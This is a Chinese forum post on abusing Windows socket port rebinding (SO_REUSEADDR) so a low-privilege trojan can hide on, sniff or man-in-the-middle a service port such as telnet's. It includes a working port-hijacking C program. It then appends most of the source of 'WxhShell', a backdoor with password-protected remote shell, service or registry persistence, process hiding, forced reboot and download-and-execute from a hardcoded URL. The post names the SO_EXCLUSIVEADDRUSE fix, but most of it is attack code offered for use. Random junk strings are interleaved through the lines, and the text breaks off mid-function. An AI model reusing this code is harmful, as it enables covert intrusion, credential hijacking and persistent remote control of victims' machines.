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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: P&kjtl68 Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #0uD&95<  
8n2MZ9p]  
  saddr.sin_family = AF_INET; u#bd*(  
P;' xa^Y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); rfH'&k  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f=,(0ygt/  
h+d  \u  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 u&-Zh@;Q7  
?7|6jTIs  
  这意味着什么?意味着可以进行如下的攻击: ]ucz8('  
X}5}M+'~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 L kK# =v  
;}W-9=81  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !Zi_4 .(4  
Z]^Ooy[pb  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <$+Cd=71\  
,GVD.whUl  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  'n$TJp|s  
QA"mWw-Ds  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 azKiXr#_(  
j-}WA"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 77?D ~N[  
7#pu(:T$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 e6y,)W"WW2  
&:@)ro CR  
  #include |G(9mnZ1  
  #include ba`V`0p-(  
  #include ~9Jlb-*I5  
  #include    [$iKx6\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Kh' 7N!  
  int main() MpCK/eiC  
  { /&jh10}H  
  WORD wVersionRequested; j~;kh_  
  DWORD ret; bd & /B&a  
  WSADATA wsaData; Xe. az  
  BOOL val; b,#lw_U"  
  SOCKADDR_IN saddr; w$fP$ \+  
  SOCKADDR_IN scaddr; <n|ayxA)  
  int err; ==XO:P  
  SOCKET s; hT DFIYV  
  SOCKET sc; fBw"<J{  
  int caddsize; Tj3xK%K_r3  
  HANDLE mt; a 9H^e<g  
  DWORD tid;   ;jZf VRl  
  wVersionRequested = MAKEWORD( 2, 2 ); E(p*B8d  
  err = WSAStartup( wVersionRequested, &wsaData ); B{6wf)[O  
  if ( err != 0 ) { yd+.hg&J  
  printf("error!WSAStartup failed!\n"); +[_mSt  
  return -1; -qW[.B  
  } UZDXv=r|  
  saddr.sin_family = AF_INET; ]8~{C>ch$  
   Y Z.? k4>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -#agWqUM|T  
xC}9W6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); l.3|0lopX)  
  saddr.sin_port = htons(23); IMT]!j&Y,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |08'd5  
  { a\]g lw\;  
  printf("error!socket failed!\n"); =Ul{#R z  
  return -1; >JUOS2  
  } yZc_PC`  
  val = TRUE; 0*{ 2^\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *rH# k?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |9*8u>|RC  
  { }\Ri:&?  
  printf("error!setsockopt failed!\n"); HCIS4}lQ  
  return -1; aFf(m-  
  } Nfo`Q0\[P  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8Ts_;uId  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g*-%.fNA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u,&[I^WK`C  
|J+oz7l?-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) M4rK  
  { q1_iV.G<  
  ret=GetLastError(); WH^^.^(i  
  printf("error!bind failed!\n"); +> Xe_  
  return -1; 2^f6@;=M  
  } *{fL t  
  listen(s,2); JK=0juv<E  
  while(1) L,7+26XV"B  
  { o >Faq+@  
  caddsize = sizeof(scaddr); s"-gnW  
  //接受连接请求 mLb>*xt$b@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >Y 8\I  
  if(sc!=INVALID_SOCKET) ]mZN18#  
  { \&#IK9x{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6t!PHA  
  if(mt==NULL) 5'%nLW7;O  
  { 4mM?RGWv  
  printf("Thread Creat Failed!\n"); t,,W{M|E(  
  break; 6U(M HxY  
  } qC:QY6g$N  
  } jBLLx{  
  CloseHandle(mt); ve&"x Nz<  
  } 5u=$m^@{  
  closesocket(s); Ax{C ^u  
  WSACleanup(); 7%)KB4(\_  
  return 0; BH3%dh :9  
  }   ;'i>^zX`  
  DWORD WINAPI ClientThread(LPVOID lpParam) <yg! D21Y  
  { B$D7}=|kc  
  SOCKET ss = (SOCKET)lpParam; 8lZB3p]X  
  SOCKET sc; @F/yc  
  unsigned char buf[4096]; mK_2VZj&  
  SOCKADDR_IN saddr; NDYm7X*et  
  long num; \\iX9-aI<  
  DWORD val; @0[#XA_>  
  DWORD ret; 8H@]v@Z2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 W"[Q=$2<<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   I:=rwnd  
  saddr.sin_family = AF_INET; 5!jU i9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3Q:HzqG  
  saddr.sin_port = htons(23); O;83A  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !HCuae3_  
  { =tQ^t4_  
  printf("error!socket failed!\n"); zbgH}6b  
  return -1; ({!S!k  
  } sp8P[W1a  
  val = 100; b2Oj 1dP1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9?38/2kX4  
  { :c}"a(|  
  ret = GetLastError(); u6MHdCJ0y  
  return -1; ]9hXiY  
  } GJj}|+|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k\<8h%  
  { :/XWk %  
  ret = GetLastError(); N;mJHr3[F  
  return -1; 5v_vv'~  
  } 0i4XS*vPv  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) F|bg2)|du8  
  { .g?Ppma  
  printf("error!socket connect failed!\n"); ~v|NC([(  
  closesocket(sc); -I'Jm=q3]  
  closesocket(ss); )l6(ss!J  
  return -1; W'! I+nh  
  } Qr9@e Q1Pp  
  while(1) vp&N)t_  
  { m bZn[D_zi  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (U([T-H  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Lc! t  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cTa$t :K@  
  num = recv(ss,buf,4096,0); 6R#.AD\  
  if(num>0) PTP0 _|K  
  send(sc,buf,num,0); ##5e:<c&[  
  else if(num==0) G}LOQ7  
  break; _ZHDr[  
  num = recv(sc,buf,4096,0); GAU7w"sE  
  if(num>0) c@|f'V4  
  send(ss,buf,num,0); ,"U|gJn|^  
  else if(num==0) k<A|+![  
  break; moCr4*jDX,  
  } 6(8zt"E  
  closesocket(ss); pv"QgH  
  closesocket(sc); zXaA5rZO  
  return 0 ; 2ut)m\)/)  
  } r<OqI*7  
p>h}k_s  
#&,~5  
========================================================== ]=G  dAW  
r,Tq";N'  
下边附上一个代码,,WXhSHELL }DFZ9,gQ  
(q}{;  
========================================================== ,buo&DT{L  
]6;G#  
#include "stdafx.h" * 3#RS  
ZKF  #(G  
#include <stdio.h> PX >>h}%  
#include <string.h> ~9Cw5rwH<;  
#include <windows.h> 99*QfC  
#include <winsock2.h> >=K~*$&>  
#include <winsvc.h> (Qd@Q,@(s  
#include <urlmon.h> 4Ul*`/d  
~tZy-1  
#pragma comment (lib, "Ws2_32.lib") t*wV<b  
#pragma comment (lib, "urlmon.lib") n'9&q]GN|  
M,sZ8eeq  
#define MAX_USER   100 // 最大客户端连接数 \2[sUY<W  
#define BUF_SOCK   200 // sock buffer Vo(>K34  
#define KEY_BUFF   255 // 输入 buffer (nAg ~i  
>A>_UT_"  
#define REBOOT     0   // 重启 ODCv^4}9  
#define SHUTDOWN   1   // 关机 lS |:4U.  
F0KNkL>&g  
#define DEF_PORT   5000 // 监听端口 icN#8\E  
R47tg&k6[  
#define REG_LEN     16   // 注册表键长度 y\XWg`X y  
#define SVC_LEN     80   // NT服务名长度 48LzI@H&  
u85?f  
// 从dll定义API f"Kl? IN8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mk[<=k~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZO& F15$P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PMZ*ECIJU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C *]XQ1F4  
GzjC;+W  
// wxhshell配置信息 !laOiH  
struct WSCFG { HY,VJxR[  
  int ws_port;         // 监听端口 sWFw[ Y>  
  char ws_passstr[REG_LEN]; // 口令 ?P"j5  
  int ws_autoins;       // 安装标记, 1=yes 0=no C j:  
  char ws_regname[REG_LEN]; // 注册表键名 EfqC_,J*3  
  char ws_svcname[REG_LEN]; // 服务名 4\y>pXML-U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DAQozhP8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :~\ y<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p!7(a yu  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S4D~`"4 $/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sfR0wEqI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u"-."_  
zTg&W7oz  
}; %B(E;t63W  
K}8wCS F  
// default Wxhshell configuration J<-2dvq  
struct WSCFG wscfg={DEF_PORT, T1M>N  
    "xuhuanlingzhe", B&?xq)%*#  
    1, 9&Ny;oy#6  
    "Wxhshell", AME<V-5  
    "Wxhshell", @] 3`S  
            "WxhShell Service", LX7<+`aa  
    "Wrsky Windows CmdShell Service", ZG)6{WS  
    "Please Input Your Password: ", ~QU\kZ7Z  
  1, LsaRw-4.c  
  "http://www.wrsky.com/wxhshell.exe", }0 =gP?.kE  
  "Wxhshell.exe" gsVm)mkd  
    }; hD,@>ky  
VL2ACv(  
// 消息定义模块 UQ~gjnb[c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3$P GLM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pXf5/u8&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S<>u  
char *msg_ws_ext="\n\rExit."; "tz`@3,5dN  
char *msg_ws_end="\n\rQuit."; w%eEj.MI|i  
char *msg_ws_boot="\n\rReboot..."; iJzW3%E  
char *msg_ws_poff="\n\rShutdown..."; c:,K{ZR  
char *msg_ws_down="\n\rSave to "; !CLL{\F  
w"OeS;#e:  
char *msg_ws_err="\n\rErr!"; `sM^m`yE  
char *msg_ws_ok="\n\rOK!"; _SqUPTb"u  
p1fy)K2{,j  
char ExeFile[MAX_PATH]; a3^({;k!0  
int nUser = 0; .1h1J  
HANDLE handles[MAX_USER]; M3YC@(N% k  
int OsIsNt; 8g6G},Y0  
`.YMbj#T  
SERVICE_STATUS       serviceStatus; E[tEW0ub  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ty b-VO  
7F8>w 7Y]  
// 函数声明 iQz c$y^,9  
int Install(void); ^A$p)`KR  
int Uninstall(void); J4jL%5t  
int DownloadFile(char *sURL, SOCKET wsh); s` o _ER  
int Boot(int flag); !N\i9w}  
void HideProc(void); ^\FOMGai  
int GetOsVer(void); 3/*<i  
int Wxhshell(SOCKET wsl); $ -M'  
void TalkWithClient(void *cs); E\XD~  
int CmdShell(SOCKET sock); ya'OI P `  
int StartFromService(void); z5 :53,`D'  
int StartWxhshell(LPSTR lpCmdLine); xB,(!0{`  
Jl{g"N{2u'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <26Jif:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zwdi$rM5  
Q9sxI}D )R  
// 数据结构和表定义 \O+Hmi^  
SERVICE_TABLE_ENTRY DispatchTable[] = O*PJr[Zou  
{ F/U38[  
{wscfg.ws_svcname, NTServiceMain}, GKf%dK L  
{NULL, NULL} tkf^sGgNO  
}; *Zz hN]1  
LAv!s/O$=  
// 自我安装 |oTA $bln  
int Install(void) Fo GSCg%  
{ z>O=. Ku6  
  char svExeFile[MAX_PATH]; ;1>)p x**  
  HKEY key; *!L it:H  
  strcpy(svExeFile,ExeFile); Schvwlm~i  
7=pJ)4;ZA  
// 如果是win9x系统,修改注册表设为自启动 kT4Oal+4  
if(!OsIsNt) { Hb@PQcj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UYsyVY`Fm|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YE1X*'4  
  RegCloseKey(key); [+>cW0a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uOQl;}Lk5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A9ru]|?  
  RegCloseKey(key); %<;PEQQ|C  
  return 0; QxeK-x^  
    } }yMA s  
  } n]snD1?KX  
} 8? &!@3n  
else { h}f l:J1C  
h0Ilxa   
// 如果是NT以上系统,安装为系统服务 PVX23y;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eC*-/$D  
if (schSCManager!=0) Gcd'- 1  
{ *)um^O  
  SC_HANDLE schService = CreateService xQ@gh ( (  
  ( #~:@H&f790  
  schSCManager, o :_'R5  
  wscfg.ws_svcname, d/&~IR  
  wscfg.ws_svcdisp, SMbhJ}\O  
  SERVICE_ALL_ACCESS, y<*/\]t9L[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V"Y-|R  
  SERVICE_AUTO_START, ^RE("'+  
  SERVICE_ERROR_NORMAL, 'U'Y[*m@  
  svExeFile, }?=4pGsI  
  NULL, ~{f[X3m^  
  NULL, h . R bdG  
  NULL, =aJb}X  
  NULL, -aF\ u[b  
  NULL E:S (v  
  ); kc}&\y  
  if (schService!=0) S$1dXXT  
  { 2j*o[kAE  
  CloseServiceHandle(schService); !; COFR  
  CloseServiceHandle(schSCManager); z.]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fv?vfI+m  
  strcat(svExeFile,wscfg.ws_svcname); +oRwXO3W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LM?UV)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8ZvozQE  
  RegCloseKey(key); wU)vJsOq  
  return 0; +N>&b%  
    } oO~LiK>  
  } @/0-`Y@?  
  CloseServiceHandle(schSCManager); ^{w]r5d  
} ;_?RPWZ;MO  
} o+ 0"@B  
LSW1,}/B  
return 1; +6+!M_0wA  
} 2JS&zF  
_S;Fs|p_  
// 自我卸载 <R @w0b>  
int Uninstall(void)  v{ *#  
{ @G:aW\Z  
  HKEY key; l[Rl:k!  
0ntf%#2{  
if(!OsIsNt) { = , ^eQZR:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T{Y;-m  
  RegDeleteValue(key,wscfg.ws_regname); @>SirYh  
  RegCloseKey(key); o@blvW<v7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C J#1j>  
  RegDeleteValue(key,wscfg.ws_regname); *:hHlH* t1  
  RegCloseKey(key); 5p`.RWls  
  return 0; D_)n\(3  
  } zTQTmO  
} c&n.JV   
} '}.Z' %;  
else { !pG_MO  
\oc*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xix: = a  
if (schSCManager!=0) ]Y@B= 5e/  
{ n*vzp?+Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '+*{u]\  
  if (schService!=0) FCMV1,  
  { =&xN dc  
  if(DeleteService(schService)!=0) { #gd`X|<Ch  
  CloseServiceHandle(schService); KG8Km  
  CloseServiceHandle(schSCManager); J'no{3Kt z  
  return 0; d-sK{ZC"y  
  } T`gR&n<D  
  CloseServiceHandle(schService); 5 Yf T  
  } _"R /k`8  
  CloseServiceHandle(schSCManager); A6# 5 z  
} 1Xj>kE:  
} \C.s%m  
w5tcO%+k1  
return 1; K,Z_lP_~Vw  
} 3T7,Y(<V  
;R8pVj!1f  
// 从指定url下载文件 A9L {c!|-  
int DownloadFile(char *sURL, SOCKET wsh) F ;;\I  
{ %an&lcoX  
  HRESULT hr; N% W298  
char seps[]= "/"; Uc<j{U ,  
char *token; c-gpO|4>  
char *file; N5\]VCX  
char myURL[MAX_PATH]; z c7P2@  
char myFILE[MAX_PATH]; !HPye@Ua  
pwG"_|h  
strcpy(myURL,sURL); vRn"0Mzl8  
  token=strtok(myURL,seps); EvQMt0[?EW  
  while(token!=NULL) !<2%N3l  
  { pNIu;1M5a  
    file=token; ! >l)*jN8  
  token=strtok(NULL,seps); V$';B=M  
  } MmPLJ  
s 8 c#_  
GetCurrentDirectory(MAX_PATH,myFILE); WY 'QhieH  
strcat(myFILE, "\\"); F.[E;gOTo  
strcat(myFILE, file); q"O4}4`  
  send(wsh,myFILE,strlen(myFILE),0); zEYT,l  
send(wsh,"...",3,0); wW?/`>@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vjz*B$  
  if(hr==S_OK) Gl@}b\TB  
return 0; O ELh6R  
else ~ M!s0jT  
return 1; 0v/}W(  
z1R_a=7  
} PH]/*LEj  
0M_~@E*&  
// 系统电源模块 -SGo E=  
int Boot(int flag) o,yP9~8\  
{ 1o*eu&@  
  HANDLE hToken; h~R= ?%H[  
  TOKEN_PRIVILEGES tkp; 0V_dg |.  
3+>;$  
  if(OsIsNt) { +J<igb!S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >/5'0n_R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z;#]xCV  
    tkp.PrivilegeCount = 1; y6C3u5`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Hk8pKpn3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `C+>PCO  
if(flag==REBOOT) { O<KOsu1WW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B{ptP4As-  
  return 0; VwKo)zH  
} rM y(NAo_  
else { 'W2B**}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?7]UbtW[  
  return 0; / 8 0Q  
} @P@j9yR  
  } ]W9{<+&  
  else { aIXN wnq  
if(flag==REBOOT) { HJ]9e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #5b}"xK{  
  return 0; 9nrmz>es|-  
} td"D&1eQ@  
else { EO: VH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n |e=7?H8  
  return 0; +8#hi5e  
} zOfMKrRG  
} H0P:t(<Gt  
7)Y0D@wg  
return 1; gf\F%VmSN  
} FT$Z8  
7i@vj7K  
// win9x进程隐藏模块 eF%>5  
void HideProc(void) cFF'ygJ/  
{ BV@xE  
={]tklND  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); []I _r=  
  if ( hKernel != NULL ) {^jk_G\ys  
  { |Y")$pjz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "gCqb;^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CL)*cu6zG  
    FreeLibrary(hKernel); fp`k1Uq@  
  } XJI ff$K  
h:3^FV&#  
return; J'H}e F`  
} n&N>$c,T27  
!x@3U^${  
// 获取操作系统版本 V[RsSZx =  
int GetOsVer(void) OoqA`%  
{ u>y/<9]q8  
  OSVERSIONINFO winfo; 1>IA9]D7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pX LXkF?  
  GetVersionEx(&winfo); @}+F4Xh,L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ak'=/`+p  
  return 1; #x|IEjoa  
  else $FM: 8^  
  return 0; A]_5O8<buW  
} G%#M17   
8`GN8 F  
// 客户端句柄模块 (ibj~g?U,  
int Wxhshell(SOCKET wsl) ]r\d 5  
{ Gj ka %  
  SOCKET wsh; ! 0DOj["  
  struct sockaddr_in client; MLk%U 4  
  DWORD myID; _>=QZ`!r  
'U/X<LCl  
  while(nUser<MAX_USER) i~sW_f+  
{ cf{rK`Ff^  
  int nSize=sizeof(client); IQNvhl.{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cI/Puh^3  
  if(wsh==INVALID_SOCKET) return 1; Y0Bd[  
RJ0:O   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k,0lA#>  
if(handles[nUser]==0) l/6$BP U`  
  closesocket(wsh); t[=teB v<  
else \{K~x@`  
  nUser++; ^9`S`Bhp  
  } 9tBE=L=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (D~NW*,9  
]~d!<x#+  
  return 0; #-{^={p "  
} /)/>/4O  
&(/QJ`*8  
// 关闭 socket mF`%Z~}b  
void CloseIt(SOCKET wsh) \F5d p  
{ 8=Aoj% l#  
closesocket(wsh); W%_Cda5,  
nUser--; >V|KS(}s  
ExitThread(0); y??^[ sB  
} ^"!)p2=  
[Zj6v a  
// 客户端请求句柄 ^nGKuW7\  
void TalkWithClient(void *cs) Z.E@aml\  
{ =?oYEO7  
Qt(4N!j  
  SOCKET wsh=(SOCKET)cs; MNWuw;:v  
  char pwd[SVC_LEN]; s_RUb  
  char cmd[KEY_BUFF]; rOA{8)jIa*  
char chr[1];  Ds@nuQ  
int i,j; C]GW u~QF  
f*E#E=j  
  while (nUser < MAX_USER) { gt|:K)[,6  
q)QM+4  
if(wscfg.ws_passstr) { RM6*c .  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9~ r YLR(v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8L _]_  
  //ZeroMemory(pwd,KEY_BUFF); M%"{OHj!o  
      i=0; ^\3r}kJ0Lp  
  while(i<SVC_LEN) { Uf\,U8UB  
\@F~4,VT  
  // 设置超时 u81@vEK:_  
  fd_set FdRead; e{E8_2d  
  struct timeval TimeOut; ("txj[v-/  
  FD_ZERO(&FdRead); F|! ib5  
  FD_SET(wsh,&FdRead); F7lzc)  
  TimeOut.tv_sec=8; >^ TcO  
  TimeOut.tv_usec=0; {}DoRp q=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :{'%I#k2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .X;D I<K  
*9)yN[w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !v68`l15  
  pwd=chr[0]; (y!V0iy]  
  if(chr[0]==0xd || chr[0]==0xa) { _]6n]koD,  
  pwd=0; AoFxho  
  break; {No Y`j5S  
  } >`o;hTS  
  i++; #2*6esP  
    } klxNGxWAX  
v)s; wD  
  // 如果是非法用户,关闭 socket Gzkvj:(V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cTu"Tu\Qw  
} wNQhg  
2e| m3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V8-*dE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }zy h!  
716r/@y$6  
while(1) { /M5R<rl  
eYD-8*  
  ZeroMemory(cmd,KEY_BUFF); 6O| rI>D  
CA]u3bf~  
      // 自动支持客户端 telnet标准   0.z\YTZ9  
  j=0; MNu\=p\Eq  
  while(j<KEY_BUFF) { s]'EIw}mo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }[b3$WZ  
  cmd[j]=chr[0]; D0VbD" y  
  if(chr[0]==0xa || chr[0]==0xd) { 7 (pl HW|  
  cmd[j]=0; i(an]%'v  
  break; QUK v :;  
  } 7;3;8Q FX  
  j++; $9rQ w1#e  
    } 4o ,G[Cf_  
vTq [Xe"  
  // 下载文件  kAnK1W>  
  if(strstr(cmd,"http://")) { .~7:o.BE`n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e=sV>z>  
  if(DownloadFile(cmd,wsh)) Yc2dq e>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,HECHA_"  
  else a2SXg A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :]uz0s`>  
  } ?4H>1Wkb  
  else { JN> h:  
h)pYV>!d  
    switch(cmd[0]) { qt`HP3J&  
  >bbvQb +j  
  // 帮助 P&5kO;ia  
  case '?': { Yx':~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rq![a};~  
    break; 82KWe=  
  } cxpG6c  
  // 安装 -s&7zqW  
  case 'i': { ^k5#{?I  
    if(Install()) fx*Q,}t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O\q-Ai  
    else Tu&W7aoX5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ufvjW]   
    break; y7U?nP ')+  
    } g[ O6WZ!F_  
  // 卸载 wuKr 9W9Xa  
  case 'r': { > K s.  
    if(Uninstall()) b:(t22m#?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a,eJO??  
    else NN] 8T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O6$n VpD3  
    break; L17{W4  
    } wOn*QO[  
  // 显示 wxhshell 所在路径 }dpE>  
  case 'p': { 0s .X  
    char svExeFile[MAX_PATH]; St;@ZV  
    strcpy(svExeFile,"\n\r"); SdNxSD$Q  
      strcat(svExeFile,ExeFile); RW|Xh8.O  
        send(wsh,svExeFile,strlen(svExeFile),0); 9"cyZO  
    break; a Juv{  
    } @Zw[LIQ*  
  // 重启 "w{$d&+?ag  
  case 'b': { _WN\9<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7g-{ <d  
    if(Boot(REBOOT)) ;YY nIb(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZDbzH=[  
    else { rj/1AK  
    closesocket(wsh); L!0}&i;u~5  
    ExitThread(0); r;@"s g  
    } :uB(PeAv*  
    break; Nn-EtM0w  
    } iH>IV0 <  
  // 关机 q_z;kCHM  
  case 'd': { =h,J!0Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?yKG\tPhM  
    if(Boot(SHUTDOWN)) Sv t%*j  
